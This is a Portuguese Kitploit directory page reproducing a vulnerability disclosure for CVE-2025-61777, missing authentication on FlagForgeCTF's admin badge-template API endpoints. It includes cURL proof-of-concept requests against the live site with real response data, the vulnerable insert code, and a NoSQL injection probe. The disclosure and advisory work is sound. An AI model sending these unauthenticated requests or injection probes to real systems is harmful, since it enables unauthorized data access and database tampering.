Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-61777 — CVE no FlagForgeCTF nas versões v2.0.0 a v2.3.1. Atualizado para a versão 2.3.2 para corrigir o problema. | Kitploit
Ferramentas/GitHubGitHub/0x0w1z/cve-2025-61777
Análise de VulnerabilidadesExploraçãoSegurança WebTestes de PenetraçãoSegurança de API
GitHub0x0w1z/cve-2025-61777

CVE-2025-61777

CVE no FlagForgeCTF nas versões v2.0.0 a v2.3.1. Atualizado para a versão 2.3.2 para corrigir o problema.

Ver Repositório
220há 11 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-61777

1. Modificação não autorizada de modelos de emblemas no FlagforgeCTF CVE-2025-61777

Resumo

A aplicação Flagforge (https://flagforge.xyz) expõe vulnerabilidades críticas em seus endpoints de API administrativa, especificamente /api/admin/badge-templates (GET) e /api/admin/badge-templates/create (POST). Ambos os endpoints carecem de controles de autenticação e autorização, permitindo que usuários não autenticados recuperem dados sensíveis de modelos de emblemas e criem modelos arbitrários no banco de dados MongoDB. Isso pode levar à exposição não autorizada de dados, poluição do banco de dados ou abuso do sistema de emblemas (por exemplo, criação de modelos maliciosos ou de spam).

Descrição

Endpoints Afetados

  1. GET /api/admin/badge-templates:
    • Retorna um array JSON de todos os modelos de emblemas armazenados na coleção badgeTemplates do MongoDB.
    • Os campos expostos incluem _id, name, description, icon, color, isActive, createdBy, createdAt, updatedAt e __v.
    • Nenhum cabeçalho de autenticação, chaves de API ou verificações de sessão são necessários, tornando o endpoint publicamente acessível.
    • Exemplo de resposta (via cURL):
    x0w1z   ~  curl -i https://flagforge.xyz/api/admin/badge-templates
HTTP/2 200
access-control-allow-origin: https://flagforge.xyz
age: 0
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
content-type: application/json
date: Sat, 27 Sep 2025 11:17:35 GMT
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()
pragma: no-cache
referrer-policy: no-referrer
server: Vercel
strict-transport-security: max-age=31536000; includeSubDomains; preload
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-content-type-options: nosniff
x-frame-options: DENY
x-matched-path: /api/admin/badge-templates
x-vercel-cache: MISS
x-vercel-id: bom1::iad1::kbnlf-1758971855497-e981648f08c6
x-xss-protection: 1; mode=block
{"success":true,"templates":[{"_id":"68d18c6b3ddde4c2825273a1","name":"Staff","description":"Awarded for behind-the-scenes work that powers the community forward.","icon":"/badges/images/badge-1758563431839-63u7vxws5u.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:50:35.138Z","updatedAt":"2025-09-22T17:50:35.138Z","__v":0},{"_id":"68d18c073ddde4c282527398","name":"Bug Hunter","description":"Awarded for sharp eyes and a hacker’s mindset in finding weaknesses.","icon":"/badges/images/badge-1758563324750-h7zfukwxw7.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:48:55.675Z","updatedAt":"2025-09-22T17:48:55.675Z","__v":0},{"_id":"68ccfd395b3791025b51c200","name":"Security Researcher","description":"Earned by pushing boundaries and digging deeper into security.","icon":"/badges/custom/badge-1758264629375-0y4fdhdxjy5.png","color":"#8B5CF6","isActive":true,"createdBy":"[email protected]","createdAt":"2025-09-19T06:50:33.108Z","updatedAt":"2025-09-19T06:50:33.108Z","__v":0}],"count":3}%
  1. POST /api/admin/badge-templates/create:
    • Permite a criação de novos modelos de emblemas com campos controlados pelo usuário: name, description, icon, color, isActive e createdBy.
    • Verificações mínimas de validação para a presença de name, description e icon, e garante que não exista um name duplicado.
    • Nenhuma verificação de autenticação ou autorização, permitindo que qualquer pessoa insira dados no banco de dados.
    • Exemplo de código (do código-fonte fornecido):
      const templateDoc = {
        name: name.trim(),
        description: description.trim(),
        icon: icon.trim(),
        color: color || '#8B5CF6',
        isActive: isActive !== undefined ? isActive : true,
        createdAt: new Date(),
        createdBy: createdBy || 'unknown'
      };
      const result = await db.collection('badgeTemplates').insertOne(templateDoc);
      

Fraquezas

  • CWE-200: Exposição de Informações Sensíveis a um Ator Não Autorizado (endpoint GET): Expõe identificadores de usuário (por exemplo, Lagzen Thakuri, [email protected]) e metadados, permitindo reconhecimento ou phishing.
  • CWE-306: Ausência de Autenticação para Função Crítica (ambos os endpoints): Sem controles de acesso nas rotas administrativas.
  • CWE-284: Controle de Acesso Impróprio (ambos os endpoints): Permite recuperação e modificação não autorizada de dados.
  • Potencial Injeção NoSQL: Embora o endpoint POST desestruture explicitamente os campos, o endpoint GET pode ser vulnerável se suportar parâmetros de consulta (por exemplo, ?name[$ne]=test).
  • Risco de Poluição de Logs: O endpoint POST registra name e createdBy controlados pelo usuário, o que pode ser abusado para spam de logs ou injeção.

Pontuação CVSS v3.1

  • Pontuação Base: 9.1 (Crítico)
  • Vetor: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
    • Vetor de Ataque (AV): Rede (endpoints publicamente acessíveis).
    • Complexidade do Ataque (AC): Baixa (nenhuma condição especial necessária).
    • Privilégios Necessários (PR): Nenhum (nenhuma autenticação necessária).
    • Interação do Usuário (UI): Nenhuma (requisições HTTP diretas).
    • Escopo (S): Inalterado (afeta a própria aplicação).
    • Confidencialidade (C): Alta (expõe dados do usuário).
    • Integridade (I): Alta (permite criação arbitrária de dados).
    • Disponibilidade (A): Baixa (potencial DoS via criação em massa de modelos).

Sistemas Afetados

  • Aplicação: Flagforge (https://flagforge.xyz)
  • Componentes:
    • Rotas de API Next.js: /api/admin/badge-templates (GET) e /api/admin/badge-templates/create (POST).
    • Banco de dados MongoDB: coleção badgeTemplates.
  • Hospedagem: Vercel (serverless, inferido do cabeçalho server: Vercel).
  • Versões: Desconhecidas (presume-se Next.js 13+ com base na sintaxe NextRequest/NextResponse).
  • Dependências: Driver MongoDB (via utilitário de conexão personalizado @/utlis/db), Next.js.

Impacto

  • Confidencialidade: Exposição de identificadores de usuário (createdBy) e metadados (createdAt, updatedAt), que podem ser usados para engenharia social ou ataques direcionados.
  • Integridade: Criação não autorizada de modelos de emblemas, potencialmente levando a spam, phishing ou exibição de conteúdo malicioso na aplicação.
  • Disponibilidade: Potencial negação de serviço (DoS) ao inundar o endpoint POST com criações de modelos, consumindo recursos do banco de dados.
  • Explorabilidade: Alta, pois os endpoints são publicamente acessíveis via requisições HTTP simples (por exemplo, cURL, Postman) sem barreiras de autenticação.

Prova de Conceito

  1. Recuperar Dados Sensíveis (GET):
    curl https://flagforge.xyz/api/admin/badge-templates
    
    • Retorna uma lista JSON de todos os modelos de emblemas, incluindo campos sensíveis como createdBy (por exemplo, [email protected]).
Baixar ferramenta